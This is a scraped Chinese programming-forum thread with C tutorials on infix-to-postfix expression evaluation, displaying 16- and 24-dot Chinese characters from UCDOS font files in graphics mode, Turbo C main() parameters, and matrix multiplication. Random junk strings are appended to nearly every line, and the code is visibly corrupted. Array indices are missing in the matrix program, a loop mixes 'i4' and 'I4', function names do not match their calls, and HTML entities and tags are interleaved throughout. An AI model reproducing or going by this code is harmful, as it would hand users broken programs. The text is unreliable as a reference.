  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。  j/ E" m* m% R0 Q( I
1 Q4 i: {/ A- j+ K- s) ^) w
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
) b' q- y& J! N& v, n: R  U
) _: C$ j) n& b4 b  下面给出转换和计算的具体实现程序——. Q7 X( h0 R' p  X" K8 _

- d& e9 @/ Q7 i4 l* G1 f2 f$ v<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */; P5 ^' @5 `8 [/ h
int first(char c)
9 M& _4 P' L7 X{ int p;
& a% c% C! L  `. K. bswitch(c)7 Y7 K5 ~. F0 I& [
{ case '*': p=2; break;
' s1 j  e7 B" g; Q6 ~$ |! ~case '/': p=2; break;
; p+ ^$ h: l8 k1 x' K% Vcase '+': p=1; break;; r" l! \5 i9 k7 K' E# T9 R
case '-': p=1; break;6 L6 d1 e1 f6 T4 D6 B
case '(': p=0; break;
; Z( l% ?2 d7 O. S9 C5 F3 d# k( Icase '=': p=-1; break;
$ l7 W7 p0 c& o4 T$ x}
, u5 k7 ^, o' C- d4 D& ?return(p);) Q9 ^$ `; n1 u% T
}; n$ g$ G0 u+ R* }, h0 b% i3 z
/* 此函数实现中缀到后缀的转换 */$ t. g$ w& U4 n: @
/* M的值宏定义为20 */
# X0 _& n# }9 B/* sp[]为表达式数组 */
7 D$ C2 Y. ]( q( B* rint mid_last()4 r  u6 [! W% F) Y
{ int i=0,j=0; char c,sm[M];
! H8 t$ S6 r8 n0 V7 ac=s[0]; sm[0]='='; top=0;
4 v5 B) r% g" A3 y. c! n3 Mwhile(c!='\0')
* s4 N& q4 m! w. w{ if(islower(c)) sp[j++]=c;; p2 F6 q% P( H1 R1 `
else switch(c)3 P, J7 P0 H1 g+ C. K+ ~% F
{ case '+':1 c" m- o6 r+ }# _' ]: s+ z. k
case '-':- S, v! L+ S! e) n$ K& ]# q
case '*':
) l! |: O. T2 N5 S, i0 M8 b2 T+ acase '/': while(first(c)&lt;=first(sm[top]))6 G7 Q' h' D4 a8 w: r
sp[j++]=sm[top--];7 F. }7 F/ C. j) s: @2 B9 ~9 O. b7 @
sm[++top]=c; break;
$ w( ~8 Y2 W# b9 p/ O, Lcase '(': sm[++top]=c; break;6 k5 B, g& e) y. x. r# y
case ')': while(sm[top]!='(')
$ s2 V' b1 t4 N1 G& Vsp[j++]=sm[top--];) P# i, P( u8 m4 I# V0 I  W
top--; break;
. r- y: e2 W( g$ b, C% z# ]3 F2 Sdefault :return(1);
6 |. g% P1 ?* T}8 h3 w  H- _) j" @% }# J2 h3 [
c=s[++i];2 F# v0 N+ X. @9 ^: \' V
}
/ _$ \6 u8 R) o" S# X9 j: T+ D( ?0 wwhile(top&gt;0) sp[j++]=sm[top--];; |- ^1 [* x% O2 `
sp[j]='\0'; return(0);
& F. G! {) t: F* Q) F- y}5 Z: w1 U% [& T7 g- ]
/* 由后缀表达式来计算表达式的值 */
  s0 u  J4 f# `int calc()
* T+ h# u- ?0 b+ i' c7 y8 t{ int i=0,sm[M],tr; char c;
% j* T. _  o- d7 v. ~6 X7 Mc=sp[0]; top=-1;' }% ^+ O4 P% i$ |
while(c!='\0')
$ X; d5 l5 F- x! X( Z2 n, A{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,. T* ^. s' i/ N' f& }& H1 L& j
这样才可以更方便的处理非一位数,
+ Y5 b! O# _) c: Bver数组中存放着这些字母所代替的数*/6 z) m4 R% S" F  i3 ^3 _& d9 D0 k
else switch(c)9 W( T7 c- I# B# G0 u) i
{ case '+': tr=sm[top--]; sm[top]+=tr; break;  v3 R) n$ ~  h7 K: b5 x
case '-': tr=sm[top--]; sm[top]-=tr; break;
  U" i; ^. v+ e' P5 dcase '*': tr=sm[top--]; sm[top]*=tr; break;" ]7 _" M8 d  A9 C
case '/': tr=sm[top--];sm[top]/=tr;break;5 X, g; Y& }' S" m& k& E
default : return(1);
  p2 R8 b9 [3 J' l5 Q4 U3 i}
/ r4 R- r( Z# c' [c=sp[++i];
$ k# B% q  ~, U5 k5 G3 B}
# H- K' T: U+ l2 qif(top&gt;0) return(1);
8 y; n8 I3 {7 G" T2 Pelse { result=sm[top]; return(0); }4 T' M. I" \% b+ C6 |& E
}
; s; I2 e2 D( ~7 j</FONT>6 n; M, |$ G( d6 y0 m; Q& `
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
6 L1 U6 j8 J7 k" q! E* k
, q% s% V3 }- W' f$ V$ u  最后我总结了一下这其中容易出错的地方——
( S& t: A) T$ K4 P0 N$ `2 `* J3 }6 }( c- {" a. t7 {4 P6 `" }: z
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。7 @1 j( P7 U) j- u3 u( s2 ^
5 F5 v* I6 ]; l6 n/ @" r) w
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
+ N+ |' h# V+ w  r+ Z( |) i4 i3 B9 E+ V; v
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
9 o3 l: T1 A+ L& h+ c: R' x) V/ P7 v9 ^" m; Y4 T$ M, z
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
& ?- R; m5 s; c% L" L! N( Q6 v3 i6 ?8 y4 ?4 ?6 H, Q
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。1 g. i0 b+ _5 M( b% L: v6 F
: m) i. v. X4 z. M) P) B1 s* y
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。4 a" i0 l, a& m1 O, _. \

. f$ M* i! ?+ x! v+ Q  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
, [. b7 F' }" H! l. A. x</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B># C$ `1 I, S2 U' M" p% J
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}- @" m3 l6 q5 N, T
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
3 F  r1 l# U/ ~4 v; p- c6 U( i% V  汉字显示的第一步是打开字库文件。 1 \) n4 B2 \% i% y: c/ e
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。. }! M2 M. I( Q% o) ~* K7 m
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)- h2 Q& ]" Y. q
{+ E+ C8 ^) p7 W
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/) q" P1 g% s+ H. P
int rec,i1,i2,i3; /*z:space between;*/
% e$ g" ~; Y( g: N( _  ylong l; /*color:txt color*/8 Y$ P5 s4 z0 r: q/ e+ j
char by[32]; /*p:HZ str*/) r5 S0 H: k8 O
if( handle&lt;0 ) return -1; while((i=*p++)!=0){1 \3 y1 W- `% o" }) L
if(i&gt;0xa1)7 K8 i, P! I+ H
if(f==0){1 t; e1 R  b  f$ c  o3 e3 E: g
c1=(i-0xa1)&amp;0x07f;
& a3 W) ~% G7 T; u( {# if=1;9 q# \) K. K, ~8 n( M) n4 a
}* `# K0 G! f! v8 G0 [, j( Q
else{, v- I8 I/ T' `7 l
c2=(i-0xa1)&amp;0x07f;
  k! h, V1 A3 n& a0 vf=0;
  U9 X: K9 m) z0 ~4 orec=c1*94+c2;* d7 x! V1 K+ C; [4 I
l=rec*32L;
+ ]: f1 m& _- Qlseek(handle,l,SEEK_SET);  i, s" Y. V/ U  \4 W" U8 g
read(handle,by,32);1 \# Z( S' d& I" F% N6 H; z
for(i1=0;i1&lt;16;i1++)
% I7 Z2 y9 h# y9 d7 s% N* Rfor(i2=0;i2&lt;2;i2++)
$ \" ^- j' x* Vfor(i3=0;i3&lt;8;i3++)2 R. D6 g+ Y1 F" _7 ^; p
if(GetBit(by[i1*2+i2],7-i3))9 n9 E2 T" _, [% \2 Z0 f
putpixel(x+i2*8+i3,y+i1,color);( Q. t. u5 O! ]1 x% Q& @8 j
x=x+z+16;- N/ Y" h& Y0 z2 h" B' S, M$ [
}
9 T  F' l2 ?" D' a; a}+ m, Y2 Q& S4 i- `3 z4 }& M; P
return(x);! Z4 b+ n' E  ^( w
}
0 u6 G0 Z  C* `7 j( W) {函数GetBit定义如下:3 y) V- Y+ E, r
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
5 @& N8 h0 Z6 B. }& r# mint GetBit(unsigned char c,int n)
9 W. K- R  [8 h5 y$ r{0 m1 `5 p) \, P. D* u( x) ?& }9 |  ]
return((c&gt;&gt;n)&amp;1);
- Q$ b1 _" _0 Z0 J}
' `$ Y3 N, n2 \0 z0 W# {  b汉字显示结束,应该关闭字库文件。
, D4 z/ P: a2 ]1 W8 ?8 Nvoid CloseHz(void)
* @4 z, e# w% {{
5 J# g' E; F" c# d4 X- M% Hclose( handle );
. ?5 n$ C9 G9 [) l: k& J' N}9 J; W0 ?3 `0 n% D
#include "\Caic\Include\Hz.h"
1 v* H# X0 Q! N) S4 |1 \/ {: L#include <GRAPHICS.H>& g, N6 C; ~+ `6 g5 \
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
  D; u: e1 w% Aconst char* HzStr = "苦丁香C语言辅助学习软件";
/ H! N" q, R, ~- W8 ~void main(){. m4 h$ H( }. X0 E+ P1 w- V& S
int gr=DETECT,gm;; z0 u" u: o3 g" g
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");5 j0 E5 |; F2 l4 ]3 |
OpenHz( Hz16Path );) V/ c- }$ m; b' t7 c. B* f
Wrt16Hz(20,20,4,RED,HzStr);. R6 F4 j, P5 j. m8 E
CloseHz();9 P. v* d. _1 I6 `$ ]
getch();" f6 }: n2 @7 P% o# i- X
closegraph();
3 ~  A& Z* _$ Y: L& ^+ |}显示24点阵及放大汉字
4 U" t$ z5 Z# f8 e0 z3 f3 N  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
7 U0 b8 K( ~: w) P- @) L2 m函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。6 O' {. x7 A/ t0 y" O/ W& X
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)8 }0 u' S) b- I5 _) Y
{8 \0 O' j3 ?$ {( a1 @
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/7 I; G. {2 C4 Z+ d+ p
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
( T  u( ~+ f' Xlong l; /*color:汉字颜色*/; X2 H( ]& T+ n
char by[72]; /*m: x 方向的放大倍数*/
3 F( k% p/ U" U0 [/*n: y 方向的放大倍数*/" a, j) a3 }% C* F) _/ W
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){# T: t( p4 n. y
if(i&gt;0xa1)
* u! w% K( G) j3 w& Z$ K, jif(f==0){
+ j" H' U4 L; Q* R8 }  m8 sc1=(i-0xa1)&amp;0x7f;
0 b0 G% P' X. ^* @! O  b& r- If=1;) F, d' e* R4 k, e8 ?: B
}
: Z- w/ }. H2 J7 l7 p% Celse{
6 b$ ?( C2 a, f9 ~$ Y' v! nc2=(i-0xa1)&amp;0x7f;
! ?) A. X, x% D2 V+ ^5 @! Af=0;
% M, Z; t: Q5 |1 B+ {5 V3 m' }& rrec=(c1-15)*94+c2;8 z9 |* k' o4 ]# g" v
l=rec*72L;4 y5 o! |0 w  h) n/ s: i
lseek(handle,l,SEEK_SET);
% m3 O* C  d+ x2 t0 b- {read(handle,by,72);5 t6 k3 K) D& ~  }# ^7 l% X+ s4 o
for(i1=0;i1&lt;24*m;i1=i1+m)$ v. r/ h7 ]- o7 b
for(i4=0;i4<M;I4++)$ K2 r( S) K) f8 f3 E; g
for(i2=0;i2&lt;=2;i2++)2 g6 Q8 P, c  l7 g$ }
for(i3=0;i3&lt;8;i3++)
- R+ ^1 z! c* }& v2 e; aif(GetBit(by[i1/m*3+i2],7-i3))1 t" O' g5 {  u1 N3 m% y  m5 f
for(i5=0;i5<N;I5++)
5 o) a; c, i! I8 r; ~9 ] putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
- I2 m; x1 _" f8 u: V; ~x=x+24*m+z;, [* t2 u) I# y1 |9 k
}
: Q5 C" J. Z* {! _}
3 Y- T- {& D5 A% _- z) Z; p4 rreturn(x);
% D0 y3 ~+ n& |( \1 X4 l} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"8 V+ O; c; C' q, H  L
#include <GRAPHICS.H>& o7 S% @7 i+ O8 c9 g4 G3 [
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."7 a/ n( g  z: q( @6 u
const char* HzStr = "苦丁香C语言辅助学习软件";+ m5 J& ]+ K4 A+ W( E* t  L+ Y1 r1 ~+ M
void main(){
7 q. z  y+ A5 n4 ]& A; ?int gr=DETECT,gm;& I9 u/ e. g+ b7 ^1 |, @1 ]
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
( i5 y2 P" l" y5 I7 @( W7 gOpenHz( Hz24Path );# O( J1 B1 q8 B5 m& `1 |. f
Wrt24Hz(20,20, /*先是在(x,y)*/2 K; f- ]' a/ d7 t8 @
4, /*汉字间的空格为4*/
8 n- p: V, Y' y5 h8 lRED, /*用红色显示*/
( T2 H$ y. e2 v5 v( U) t6 A2, /*x 方向放大2倍*/9 O7 S" Q" M3 E1 C: P- H$ B
4, /*y 方向放大4倍*/' Y; u! s+ i( c1 I
HzStr); /*显示字符串*/7 [( ~$ y+ s% R' M) q1 h$ I. o
CloseHz();# D9 A8 B5 ?* d3 @& r2 h
getch();
; ?: N  G) Z1 {: \/ D) t6 jclosegraph();7 Z- t4 I) Z' q9 f3 F* c
} # y8 i8 g9 ]3 g9 ^* T) h7 b
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数* l7 u9 J: N, Q# b) @' d8 ^
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。8 L& w) l0 f- d! L1 N& H
1. main() 参数
. ?$ V8 |% H# h; b$ V  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
; ?4 I; B1 Z1 f7 [4 ]* r  * argc: 整数,为传给main()的命令行参数个数。
: Q1 }/ _/ R8 r2 P+ p- l  * argv: 字符串数组。, a3 O5 v- u6 a3 F/ y  ?( _
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
$ H. v4 F! s6 O$ G" u! I对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;; m5 X. f6 @3 t. q0 |" t# `  M
.... u, Z7 k) N% b: j" V2 w0 X+ A. |6 H
argv[argc]为NULL。6 E2 p8 H- H! x: S* K0 a
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
/ f5 o: Y* Z) z. k; z9 \值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
4 {) A; w9 E, b" d1 b1 J#include&lt;stdio.h&gt;
8 w' ^! T9 e& u- W* O( i( F' M#include&lt;conio.h&gt;0 D9 m  P5 C( l5 J
#define X 3# D2 b9 Z# O! M* H1 i- }8 \
#define Y 3</P><>int a[X][Y];* o# ]- N  {0 Z
int b[X][Y];1 G- H( s- ^: o" u3 P0 a
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);; @/ W& R8 E/ f% i9 E8 N+ J
main(). J# t6 ^0 M- G
{
0 o. T( g: C5 p' ]' Kint i,j,temp;
# [$ N2 @6 N8 U$ Xclrscr();4 R  C, M5 `, v. p
printf("lease input int matrix b[%d][%d]\n",X,Y);; u1 v" F$ w; v# ]
for(i=0;i&lt;Y;i++)# y8 b) x- O: V, }
for(j=0;j&lt;Y;j++){$ Z% W" a$ F0 m, g
scanf("%d",&amp;temp);$ P9 v4 K  v) r+ B& \1 q3 p7 x+ @
b[j]=temp;0 M0 Q' J) q+ Y% W% e# h2 j+ R
}
* A0 b( k# y7 Q$ d9 |7 V& m9 [printf("lease input int matrix c[%d][%d]\n",X,Y);: c6 \  i( {% p. N) r+ ]
for(i=0;i&lt;X;i++)
( n2 e3 w! E% ~& B' rfor(j=0;j&lt;Y;j++){
( X0 N% ~' |/ z2 G0 O; Pscanf("%d",&amp;temp);
- J* S3 F0 ^" S! wc[j]=temp;
) Q( L2 a  R& R2 j  {8 Z( u}
5 F) n4 ^, D" v4 z! m" T3 O! Xmatrix(b,c);# S3 z9 f0 ]( W  W$ g6 J6 y9 B
printf("Now print resource matrix b[%d][%d]=",X,Y);
9 j0 M) I5 k9 c7 ^% n. C/ jfor(i=0;i&lt;X;i++){
1 ~$ u# }$ }0 z& ?printf("\n");* M, H$ k0 K& U; l% j4 N
for(j=0;j&lt;Y;j++)
( I. h' t4 V) bprintf("%d ",b[j]);. @5 r6 _' @3 C* |6 h
}9 c0 m0 h. Z* Q+ c
printf("\n");1 X& p1 o6 D% L3 E8 B
printf("Now print resource matrix c[%d][%d]=",X,Y);  l; q, O. l% j4 A
for(i=0;i&lt;X;i++){2 \# ?4 b! b6 D0 e- m4 P% t+ v
printf("\n");3 X. `# F$ ^9 y+ r: l1 l5 e
for(j=0;j&lt;Y;j++)) c" f6 O* |  G6 }# Y$ V3 B
printf("%d ",c[j]);( b( h2 Q6 O& X2 H4 J# ~- \5 {/ z% B
}
) u. p4 ^0 E' _9 E& Oprintf("\n");! U2 \, N* W$ L6 t5 j  K) s
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);2 ~# {" A& ?$ `) k$ w5 }' L
for(i=0;i&lt;X;i++){
7 }% j2 k( L' m& U, gprintf("\n");
" Q+ w1 F% V$ b" T( E- J% i3 \for(j=0;j&lt;Y;j++)
4 O% L4 B& j# r8 m/ }" Dprintf("%d ",a[j]);
* q4 o8 G$ P! |& M# A: x}0 R# ]8 Z/ V" |0 l- M% j- U
getch();
- \+ B7 i2 O4 ]  C( ]$ O" sreturn 0;
/ F; P* A. `; G! p}
0 [! n  h/ J0 M9 \8 q/********************************************************************/
; I3 h6 H" T/ r+ nvoid matrix(int b[][X],int c[][Y])
" ~9 ?: C3 d3 B) X  A# ^4 S5 |{: y8 x& N. D) d* q2 o$ R, B7 l
int i,j,k,temp;8 b" v2 I4 l$ f8 g& c. K
for(i=0;i&lt;X;i++)1 Z! L/ A  B5 h2 z) X. N
for(j=0;j&lt;Y;j++){
3 ^$ \1 m5 J5 X. q6 G# B; ]for(k=0;k&lt;Y;k++)" Q: K3 h: s/ q  K# l! e5 L! u' c
a[j]+=b[k]*c[k][j];
* r- Y! \- g2 x" S- E: H}
! y' T+ m7 ?  F0 u}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 13:16 , Processed in 0.899846 second(s), 89 queries .

回顶部